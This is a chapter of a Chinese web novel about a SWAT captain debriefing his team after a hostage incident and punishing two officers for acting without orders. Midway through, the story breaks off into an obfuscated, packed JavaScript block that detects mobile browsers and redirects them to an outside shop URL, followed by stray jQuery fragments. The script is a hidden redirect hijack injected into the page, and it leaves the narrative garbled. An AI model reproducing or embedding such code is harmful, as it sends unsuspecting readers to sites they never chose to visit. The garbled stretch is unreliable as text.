等顾亦然离开了,魏风尘才问俞安雨:“人质呢?”
“医生检查过了,没有受伤,就是受了惊吓,可能还没有缓过来,但她能说出口的内容,和派出所了解到的情况一样,”俞安雨苦笑一声,“小姑娘这运气也是绝了,早不下楼晚不下楼,刚好就碰上项明瀚嗑大了出来‘抽奖’。”
“那她和项明瀚……”
“完全不认识,”俞安雨抢答,“殷思盈上个月才搬到康宁新村,她是门口那个金豆豆幼儿园今年新入职的老师,就近找的房子,她搬进来的时候,项明瀚都还没出狱,两个人的作息时间都不一样,今天是他们第一次见面也不定。”
魏风尘点了点头,但也不能完全放心,又提醒俞安雨:“老俞,虽然项明瀚嗑大了,看上去像是神志不清,但他并没有随便伤害人质,他还能克制自己,说明他是有意识的,他说有人要杀他,还说只有顾队能救他……”
俞安雨知道魏风尘在担心什么,抬手拍了拍他的肩膀,一句话打消了他的顾虑:“安心!我已经给视侦那边说了,让他们排查项明瀚从出狱到今天的移动轨迹,遇到了哪些人,做了哪些事,包括这几天进出他们楼栋的人,看有没有可疑人物,这个排查量虽然不小,但也没有大到不能实现,得亏他才出狱,总之,这几天就会有结果。”
听俞安雨这么说,魏风尘这总算放下心,点点头:“谢了,老俞。”
“谢什么呀!这么见外!顾哥的事儿就是咱们局的事儿!”俞安雨一拍胸脯,就见罗局瞪了过来,赶忙要开溜,“嗐,先不跟你说了,我去禁毒队问下当年抓这个项明瀚是个什么情况,你随便坐啊,月月,给罗局和魏队倒水,游崽,走,跟我去禁毒队!”
*
好在项明瀚的尸检结果五点刚过就出来了,毕竟法医科的陆主任,市局出了名的讨厌加班。
尸检结果和先前的预料没有太大的出入,项明瀚尸表的的擦伤和跌伤都是发病倒下时造成的,肋骨骨折是抢救时造成的,排除因暴力外伤致死的可能,加之项明瀚心血中毒品青盐的浓度远超致死量,最终给出了“青盐中毒死亡”的结论。
物证科也在康宁新村4栋5-3室内找到了青盐与吸食青盐的工具,家属虽然悲痛,但对项明瀚的死因也没有异议。
郗文接到通知可以离开了,走出会议室,就看到等在门口的魏风尘,双眼一亮,连忙开口叫他:“老大!”
“嗯,”魏风尘永远是那副冷淡的模样,连关心也像是随口一问,“还好吧?”
“好着呢,”郗文点了点头,抬头的瞬间皱了皱鼻子,抬起手一闻,立马露出嫌弃之色,“就是一身臭汗,闷了一下午,有点酸爽。”
魏风尘听罢,笔挺的后背又往后退了一下。
郗文难以置信:“老大?你后退了是吧?是吧是吧!你嫌弃我!”
“当然嫌弃,”魏风尘从来不怕得罪人,“行了,赶紧回队里洗澡!”
说罢转过身朝安全通道的方向走去,郗文咧嘴一笑,跟了上去:“洗!”
*
见魏风尘和郗文回来了,在训练场上推轮胎的众人丢了手里的轮胎就朝着两人冲了过来。
孙闯跑在最前面,一看便知刚才又在偷懒。
“大哥!文狗!你们终于回来了!可担心死我了!”孙闯扑过来揽郗文的肩膀,毫不客气地挂在了他的身上。
其他人也陆续赶了过来,七嘴八舌关心两人,确认两人已经没事,这才跟着松了一口气。
“好了,全体都有——集合!”
魏风尘双手背在身后,站得笔直,一声令下,刚还吵吵嚷嚷的训练场立马静了下来,大家收拾起自己的情绪,安静地找到了自己在队伍中的位置,排列整齐立正站稳了。
“今天的高层突入演习,大家都做得很好。”
得到自家老大的表扬,纵使心花怒放,大家也不敢表现在脸上,只是一个个都把背挺得更直了。
“罗局对我们的训练成果给予了肯定,但我希望大家不要因为一次成功的演习就骄傲自满,我们只是打了一场准备充足的仗,胜利是理所当然,有纰漏就是失败,毕竟在实战中,我们只会遇到更加复杂的情况。”
魏风尘的视线快速扫过众人,又抛出一记惊雷:“前几天我和作训科的郑队聊过,下次演习的主题,作训科决定后不会再提前通知我们,包括演习的时间,也是随机决定,就像我们随时可能会遇到任何突发状况。”
话音一落,队伍里一片哗然,孙闯胆子大,兄弟们的心声他张口就来:“卧槽!开盲盒啊?”
魏风尘一瞪,孙闯便抿紧双唇,心虚地移开了视线。
“有什么异议大声说出来!”魏风尘严肃道。
“没有异议!”孙闯大声回答。
偌大的训练场又静了下来,连风吹动场边树叶的声音都能听清。
“演习从来不是表演!特定场景下的演习,是为了让我们遇到突发情况,不会因为没有经验而陷入被动,不是为了让我们提前做好准备,把最好的一面展示给领导看,走个形式,得到好评。我希望你们能把今后的每一次演习,都当做实战,身临其境,随机应变,相信队友,打好配合,提升自己。”
魏风尘说完,面前的队列鸦雀无声,虽然顾亦然批评过很多次,说他太过严厉,不苟言笑,只会让特警队这帮狗崽子变得更闷,但多年习惯一时半会儿哪有那么好改,也是每到这个冷场时刻,他才会想起老婆苦口婆心的劝告。
魏风尘轻叹了一口气,尽可能把自己的语气放柔了几分:“听懂没?”
“听懂了!”众人齐声答应,声响震天。
魏风尘无奈,演习的事说了完了,便继续总结今天的出警任务:“今天康宁新村的行动,谁来总结一下?”
所有人都目视前方,生怕视线和魏风尘对上就成为“幸运儿”。
其实从现场行动来说,特警队虽然没有问题,但能够顺利救下人质,是因为挟持者突然发病,谁都不敢打包票,如果挟持者没有发病,他们也能够顺利无伤救下人质。
“我们来模拟一下,如果今天挟持者没有突然发病,我们应该怎么做——谁来说?”
没人主动发言,魏风尘就点兵点将了:“郗文来说,你离挟持者最近,你会怎么做?”
“我会继续安抚他的情绪,说服他放开人质!”
“他要不放呢?”魏风尘追问。
郗文顿了一下,小声回答:“联系顾哥……”
其实郗文说得没错,如果项明瀚一定要见顾亦然,也没有进一步表现出要伤害人质,他也不可能下令让狙击手开枪,继续拖下去,把顾亦然叫来是必然。
见魏风尘不说话,郗文也不知道自己的答案是否正确,不敢继续深入,其他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930445|213561||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人更是不敢吭声。
“顾哥?”队列里传来孙闯的声音。
魏风尘的思绪被拉回来,火气也跟着窜了上来,目刀射了过去,就见孙闯站得笔直,只有两只眼珠子在动,然后他冲着训练场外努了努嘴。
孙闯再皮也不敢在自己训人的时候开玩笑,魏风尘回过头,果然就看到顾亦然正站在训练场边,见自己回头了,眉眼弯了弯。
内心的烦躁被扑灭,老婆果然是一剂良药。
魏风尘再次把头转回来的时候,眼神都柔和了几分,特警队一众人这才敢呼吸。
“郗文说得没错,确保人质的安全是首位,但不代表我们可以漠视挟持者的性命,哪怕他是只毒虫,在今天的情况下,他很可能掌握禁毒队需要的重要情报,我们更要谨慎对待,击毙挟持者救出人质,是最差的结果,”说到这里,魏风尘的视线扫向孙闯和萧钺的方向,“孙闯、萧钺,出列!”
孙闯吓得一抖,第一时间向训练场边的活菩萨投去了求救的目光。
萧钺听话地一步跨出了队列。
顾亦然当然看懂了孙闯眼里的求救,但他家魏队在训人,他当然不会拆台,便残忍地偏开了头,拒绝了孙闯求救信号。
孙闯只得绝望地跟着出列,站在萧钺身边,老实巴交地看向魏风尘。
孙闯是特警队数一数二的体术高手,无论是反应力还是敏捷度都是顶级的,所以在大多数突击行动中,孙闯都是首选。
虽然萧钺加入特警队才一年,但已经展现出了作为顶级突击手的天赋,他是这些年除了魏风尘本人以外,少有的能够跟上孙闯节奏的特警,魏风尘如获至宝,有意培养萧钺,虽然对孙闯还不能完全放心,但也还是把萧钺交给了孙闯来带。
特警队有两把利刃是好事,但一把是双刃剑,另一把也是可不行。
“你们今天的行动,有没有问题?”
孙闯当然清楚自家老大要跟自己算哪笔账,那时候他和萧钺挂在墙外,不知道楼道里的情况,听到人质的尖叫,以及魏风尘那句石破天惊的120,就自作主张翻了进去。
不听命令是错,但自己的出发点是好的,加上也没有造成影响,孙闯心里还是觉得有点冤,但自家老大的脾气他再清楚不过,把自己拎出来肯定是要挨罚的。
萧钺是听自己的话才一起的,也不能连累孩子,孙闯正要开口,萧钺先一步开口:“报告魏队!我和闯哥没有接到你的指令,擅自进入楼道,违反了纪律!”
“嗳!老大,是我撺掇萧钺下去的,你要罚就罚我吧!”孙闯赶忙把错揽在了自己的身上。
“不用,虽然是闯哥提议的,但是那一刻,听到楼道里的动静,我自己也是想要进去帮忙的。现在我已经认识到这个行为的错误了!”
魏风尘很欣赏萧钺敢作敢当态度,顺势问他:“错在哪里?”
“不清楚情况就盲目出击,不仅可能会让自己陷入危险的境地,还有可能会影响同伴,如果今天倒下的不是嫌疑人,我们贸然出击,很可能会刺激到嫌疑人,让他伤到人质或同伴,造成不可估量的后果。”萧钺认真道。
“好,知道自己错在哪里,也勇于承担自己的错误,值得表扬,但错了就是错了,就要接受惩罚——孙闯、萧钺!”
“到!”两人齐声答应。
“去跑五公里再回来!其他人,解散休整!”